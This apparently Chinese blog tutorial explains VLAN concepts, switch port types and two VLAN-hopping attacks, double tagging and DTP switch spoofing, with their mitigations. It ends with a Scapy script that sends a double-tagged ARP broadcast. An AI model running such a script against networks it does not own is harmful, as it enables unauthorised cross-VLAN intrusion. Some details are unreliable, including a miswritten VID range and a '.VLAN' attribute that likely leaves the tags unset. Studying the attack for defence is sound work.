VLAN跳跃攻击

VLAN

前置概念

  1. 碰撞域, 广播域, 广播风暴:

    • 碰撞域:使用集线器连接而成的以太网是一个碰撞域, 即收到的所有以太网数据帧会被集线器无脑转发到网络中除接收口以外的每个端口, 原因是集线器工作在物理层, 没有识别上层数据链路层的以太网数据帧(包含了MAC地址)结构的能力。
    • 广播域:使用交换机连接而成的以太网是一个广播域, 即收到的以太网广播帧会被交换机转发到除接收口以外的每个端口, 原因是交换机工作在数据链路层, 具有识别MAC地址的能力, 因此不会和集线器一样将单播帧也广播出去。
    • 广播风暴: 同一个网络中由于充斥着大量的广播信息而导致占用网络带宽 而使正常网络信号无法流通。出现网络风暴后只能拔网线或将交换机断电, 因为交换机工作在数据链路层, 而数据链路层协议并没有数据帧最大生存时间(TTL)相关协议, 因此路由环路的出现, 就会使广播帧永久保留在环路中, 使得交换机不断重复广播, 造成网络拥塞。网络中最常使用广播帧的协议有 ARP, DHCP, IPX/SPX等。
  2. 路由器隔离广播域, 交换机隔离碰撞域:

    • 通常为了扩展以太网的范围, 会将多台交换机互连(扩大了广播域), 然而交换机只能隔离碰撞域, 因此当广播域过大时, 更容易造成广播风暴, 为此需要分割广播域. 使用路由器就可以将一个广播域分割成两个较小的广播域, 因为路由器工作在网络体系结构的第三层(网络层), 默认情况下不对广播数据包进行转发, 因此路由器很自然地就可以隔离广播域。但问题是路由器的成本很高

VLAN引入的新内容

虚拟局域网VLAN(Virtual Local Area Network)是一种将局域网内的设备划分成与物理位置无关(同一个VLAN下的设备可以连接在不同的交换机上)的逻辑组的技术, 这些逻辑组具有某些共同的需求(比如为同一个部门)。

VLAN要求交换机实现以下两大功能, 一个是能够处理带有VLAN标记的帧, 也就是IEEEE 802.1Q帧。另一个是交换机的各端口可支持不同的端口类型。不同端口类型的端口对帧的处理方式有所不同。

802.1Q帧

也称为Dot One Q帧, 是在以太网MAC帧格式进行了扩展, 插入了4字节的VLAN标记。

  1. VLAN标记的最后12比特称为VLAN标识符ID, 它唯一的标志了以太网帧属于哪一个VLAN。

    • VID的范围是0 ~ 4095(0 ~ 12^12-1)
    • 0和4095都不用来表示VLAN, 因此表示VLAN的VID的有效取值范围是1 ~ 4094。
  2. 802.1Q帧是由交换机来处理的, 而不是由用户主机来处理的。

    • 当交换机收到普通的以太网帧时, 会将其插入4字节的VLAN标记转变为802.1Q帧, 简称打标签.
    • 当交换机转发802.1Q帧时, 可能会删除其4字节VLAN标记转变为普通以太网帧, 简称去标签.
交换机端口类型

交换机的端口类型有以下三种:

  1. Access(访问)
  2. Trunk(中继)
  3. Hybrid(混合)

思科交换机没有Hybrid, 在介绍这三种交换机端口类型之前, 我们首先要了解一下端口的缺省VLAN ID这个概念。

  1. 缺省VLAN ID是交换机端口在未配置任何VLAN时所属于的VLAN的ID号, 也称为Native VLAN.
  2. 缺省VLAN的作用是如果交换机二层出现故障, 缺省VLAN可以保证交换机的正常工作。缺省VLAN的特点是穿越Trunk时不打标签。
  3. 在思科交换机上将其称为本征VLAN(Native VLAN), 例如, 思科交换机在用户未配置VLAN时, 所有端口都默认属于VLAN 1, 即所有端口的本征VLAN都是VLAN 1。
  4. 在华为交换机上将其称为端口VLAN ID。简记为 PVID
Access端口
  1. Access端口一般用于连接用户计算机。
  2. Cisco交换机所有端口的默认端口类型就是Access。
  3. Access端口只能属于一个VLAN。
  4. Access端口的PVID值与端口所属VLAN的ID相同(默认为1)。
  5. Access端口接收处理方法: 一般只接受未打标签的普通以太网MAC帧, 根据接收帧的接口的PVID给帧打标签, 即插入4字节的VLAN标签字段, VLAN标签字段中的VID取值就是接口的PVID值。
  6. Access端口转发处理方法: 若帧中的VID值与接口的PVID值相等, 则给帧去标签后再进行转发, 否则不转发帧。因此从Access接口转发出的帧, 是不带VLAN标签的普通以太网MAC帧。
Trunk端口
  1. Trunk端口一般用于交换机之间或交换机与路由器之间的互连。
  2. Trunk端口可以属于多个VLAN, 也就是说Trunk端口可以接收和发送属于不同VLAN的帧。
  3. Trunk端口的默认PVID值为1(缺省VLAN), 一般不建议用户修改, 因为如果互连的Trunk接口的PVID值不相等, 则可能出现转发错误。
  4. Trunk端口接收处理方法: 既可以接收未打标签的普通以太网MAC帧也可以接收已打标签的802.1Q帧。若接收到普通以太网MAC帧时, 根据接收帧的接口的PVID给帧打标签, 这与Access接口的处理相同。
  5. Trunk端口转发处理方法: 转发处理对于帧的VID值等于接口的PVID值的802.1Q帧, 将其去标签转发; 对于帧的VID值不等于接口的PVID值802.1Q帧, 将其直接转发。因此, 从Trunk接口转发出的帧, 可能是普通以太网MAC帧也可能是802.1Q帧
Hybrid端口

Hybrid接口是华为交换机私有的接口类型。Hybrid接口既可以用于交换机之间的互连(与Trunk接口相同), 也可用于交换机与用户计算机之间的互连(与Access接口相同), 除此之外, Hybrid接口的绝大部分功能与Trunk接口相同。不同点在于Hybrid接口的转发处理: Hybrid接口会查看帧的VID值是否在接口的去标签列表中, 若存在则“去标签”后转发, 若不存在则直接转发。
华为交换机所有端口的默认端口类型就是Hybrid。

VLAN存在的问题

VLAN跳跃攻击

VLAN-Hopping可以通过以下两种方式发生:

  1. 双重标签

    • 攻击方法: 攻击者要想实施双层TAG攻击的前提是接入缺省VLAN, 然后在封装帧时前面打两层TAG, 最外面一层是缺省VLAN ID, 第二层是要攻击的VLAN ID。当这个帧进入第一台交换机时, 第一层标签被去掉, 并送入缺省VLAN, 如VLAN 1。当这个帧进入sw1和sw2之间的Trunk时, 由于它默认处于缺省VLAN, 因此不再封装新的TAG, 这样它原本的第二层TAG就显露出来了。当进入sw2时, 再摘掉第二个TAG, 也就是想要攻击的VLAN, 这样就成功地实施了VLAN跳跃攻击, 但此类攻击为单向攻击, 即流量不可回, 通常应用在DDOS攻击上.
    • 解决方法: 更改默认的缺省VLAN ID, 使用一个不常用的VLAN作为缺省 VLAN, 如767, 并且Trunk的交换机缺省VLAN ID要保持一致。同时将所有不使用的接口shutdown并划入这个新创建的本征 VLAN。
  2. 交换机欺骗

    • 攻击方法:很多交换机都开启了动态Trunk(DTP)的主动协商, 如思科的的SW3550, 大家会发现, 如果用一根网线将两台3550交换机连接起来, 它们会自动协商为Trunk, 原因就是它们默认开启了DTP的主动协商。如果一位攻击者使用一台PC安装一块服务器网卡, 就可以轻松地与交换机协商Trunk。一旦协商完成, 就可以随意访问任何VLAN(某些品牌交换机的Trunk默认允许所有VLAN流量通过, 而某些品牌交换机的Trunk默认只允许默认VLAN, 即VLAN1的流量通过)。
    • 解决方法:可以通过关闭交换机的DTP主动协商来缓解此类攻击。

VLAN渗透测试(双重标签)

安装scapy库

Scapy是一种用于计算机网络的数据包处理工具, 由Philippe Biondi用Python编写。它可以伪造或解码数据包, 通过网络发送它们, 捕获它们, 并匹配请求和响应。它还可以用于处理扫描、跟踪路由、探测、单元测试、攻击和网络发现等任务。

开源地址: https://github.com/secdev/scapy

1
python -m pip install scapy

编写VLAN渗透测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from scapy.all import *   # 导入Scapy库的所有模块, Scapy库是一个强大的Python库, 用于网络包的生成、分析、发送和接收。

eth = Ether() # 创建一个新的以太网(Ethernet)帧对象

dot1q1 = Dot1Q() # 创建一个新的VLAN帧对象
dot1q1.VLAN = 1 # 为VLAN帧对象设置外层标签为1

dot1q2 = Dot1Q() # 创建另一个新的VLAN帧对象
dot1q2.VLAN = 10 # 为另一个VLAN帧对象设置内层标签为10

arp = ARP() # 创建一个新的ARP请求对象

packet = eth/dot1q1/dot1q2/arp # 组装这些对象来创建一个复合网络包, 其中包含Ethernet帧和VLAN标签以及ARP请求。

packet[ARP].psrc = "192.168.10.15" # 设置ARP包的源IP地址
packet[ARP].pdst = "192.168.20.20" # 设置ARP包的目标IP地址

packet[Ether].dst = "ff:ff:ff:ff:ff:ff" # 设置以太网帧的目标MAC地址为广播地址

sendp(packet) # 使用Scapy的sendp()函数将包发送到网络上

抓包: eth.type == 0x8100

预期看到802.1Q帧中包含两个VLAN标签

攻击机抓包:

alt text

交换机抓包:

待补充…

参考:

https://book.douban.com/subject/36066143/
https://study-ccna.com/dynamic-trunking-protocol-dtp-cisco/
https://en.wikipedia.org/wiki/VLAN_hopping
https://www.zenarmor.com/docs/network-security-tutorials/what-is-vlan-hopping#is-vlan-secure
https://cybersecurity.att.com/blogs/security-essentials/VLAN-hopping-and-mitigation